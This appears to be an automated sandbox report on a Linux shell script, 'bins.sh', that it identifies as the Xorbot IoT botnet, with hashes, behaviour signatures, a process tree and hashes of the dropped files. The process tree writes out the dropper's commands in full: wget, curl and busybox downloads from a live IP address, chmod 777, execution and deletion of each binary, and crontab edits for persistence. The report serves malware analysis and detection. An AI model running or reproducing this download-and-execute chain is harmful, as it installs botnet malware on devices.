Analysis

  • max time kernel
    123s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    11/12/2024, 22:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    18483b2b13982c8984024e2fdd372a92

  • SHA1

    2b7482e5b22889cb12b1591f82eac30640bd5a29

  • SHA256

    58802f007739de0fa9259dbc37bd643eead80b63e2ff7608218c38356e84427b

  • SHA512

    cc77d0869f3613b9d86c9c12c2d1d1483282961c06e4700913abc6c52656c7636fa8a81606130c23724c4321d5fbd0b613e86705d652456fc61f5a3c490425bf

  • SSDEEP

    192:plttL855KRNhC6eOqtm2S6SVQsRKHGgZ2ttLm55KRNcigOqtm2Q6SVQs8CZ:plttfPeOqtm2S6SVQsRIGgZ2ttfgOqtw

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1561) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:706
        • /usr/bin/wget
          wget http://216.126.231.164/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • Writes file to tmp directory
          PID:708
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • File and Directory Permissions Modification
          PID:734
        • /tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          ./TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
          • Executes dropped EXE
          PID:735
        • /bin/rm
          rm TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z
          2⤵
            PID:737
          • /usr/bin/wget
            wget http://216.126.231.164/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • Writes file to tmp directory
            PID:738
          • /usr/bin/curl
            curl -O http://216.126.231.164/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:739
          • /bin/busybox
            /bin/busybox wget http://216.126.231.164/bins/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            ./gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
            • Executes dropped EXE
            PID:754
          • /bin/rm
            rm gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv
            2⤵
              PID:758
            • /usr/bin/wget
              wget http://216.126.231.164/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • Writes file to tmp directory
              PID:759
            • /usr/bin/curl
              curl -O http://216.126.231.164/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:772
            • /bin/busybox
              /bin/busybox wget http://216.126.231.164/bins/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • Writes file to tmp directory
              PID:791
            • /bin/chmod
              chmod 777 w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • File and Directory Permissions Modification
              PID:793
            • /tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              ./w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
              • Executes dropped EXE
              PID:794
            • /bin/rm
              rm w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4
              2⤵
                PID:796
              • /usr/bin/wget
                wget http://216.126.231.164/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • Writes file to tmp directory
                PID:797
              • /usr/bin/curl
                curl -O http://216.126.231.164/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • Writes file to tmp directory
                PID:798
              • /bin/busybox
                /bin/busybox wget http://216.126.231.164/bins/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • Writes file to tmp directory
                PID:799
              • /bin/chmod
                chmod 777 PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • File and Directory Permissions Modification
                PID:800
              • /tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                ./PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:801
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:803
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:804
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:805
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:806
                  • /bin/rm
                    rm PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF
                    2⤵
                      PID:808
                    • /usr/bin/wget
                      wget http://216.126.231.164/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                      2⤵
                        PID:813
                      • /usr/bin/curl
                        curl -O http://216.126.231.164/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                        2⤵
                          PID:816
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.164/bins/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                          2⤵
                          • Writes file to tmp directory
                          PID:818
                        • /bin/chmod
                          chmod 777 KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                          2⤵
                          • File and Directory Permissions Modification
                          PID:909
                        • /tmp/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                          ./KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                          2⤵
                          • Executes dropped EXE
                          PID:910
                        • /bin/rm
                          rm KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE
                          2⤵
                            PID:914
                          • /usr/bin/wget
                            wget http://216.126.231.164/bins/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                            2⤵
                              PID:915
                            • /usr/bin/curl
                              curl -O http://216.126.231.164/bins/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                              2⤵
                                PID:918
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.164/bins/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                                2⤵
                                • Writes file to tmp directory
                                PID:921
                              • /bin/chmod
                                chmod 777 LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                                2⤵
                                • File and Directory Permissions Modification
                                PID:930
                              • /tmp/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                                ./LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                                2⤵
                                • Executes dropped EXE
                                PID:931
                              • /bin/rm
                                rm LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt
                                2⤵
                                  PID:934
                                • /usr/bin/wget
                                  wget http://216.126.231.164/bins/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:935
                                • /usr/bin/curl
                                  curl -O http://216.126.231.164/bins/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:937
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.164/bins/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                                  2⤵
                                  • System Network Configuration Discovery
                                  • Writes file to tmp directory
                                  PID:938
                                • /bin/chmod
                                  chmod 777 VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:939
                                • /tmp/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                                  ./VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                                  2⤵
                                  • Executes dropped EXE
                                  • System Network Configuration Discovery
                                  PID:940
                                • /bin/rm
                                  rm VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:942
                                • /usr/bin/wget
                                  wget http://216.126.231.164/bins/hJbA8YUGIKwgp7c4nsUUl5LmMtfTdweVkK
                                  2⤵
                                    PID:943

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/KsdGSoPENtSdCm8WAvLuchyTNRKvbvzpYE

                                  Filesize

                                  111KB

                                  MD5

                                  ca897a38f23ec23521ce0b1b83f8422d

                                  SHA1

                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                  SHA256

                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                  SHA512

                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                • /tmp/LLkW8bLz7PYtdAvaonvLKeEKTKWaqG0QKt

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/PNlctjr3A88LEtHEn0sRj6cbunACZjwOBF

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/TPhBIMAzcTDek0Jxum3kswoc5eXFYBVB3z

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /tmp/VRbHPWBAYIpOuzfFj9bXeNmDOmzSEPXvLA

                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                • /tmp/gL9efelPGf39WyoqqXrSDf0R1hImrTgTHv

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/w3oyXwZQS1WlsuMyTKPVfRfMZBPaq3iwI4

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /var/spool/cron/crontabs/tmp.a9hSDM

                                  Filesize

                                  210B

                                  MD5

                                  aa1f7a41d646c6f52594f05fc81a3446

                                  SHA1

                                  8b18616786964aabccffb8a3930fd08bf979de87

                                  SHA256

                                  920adf28880d794dc02828b6997a1aeb65fbe67c432ef3470146a025d83ed7d1

                                  SHA512

                                  0440c080bd7b95d503f05bef51f231060afdce0e5d5e9d57296bc4dca9e3d69deee81e4a4ea35364006f80d1b7e854c710dbc56fae5f68aaf4a01eb0a35cefd0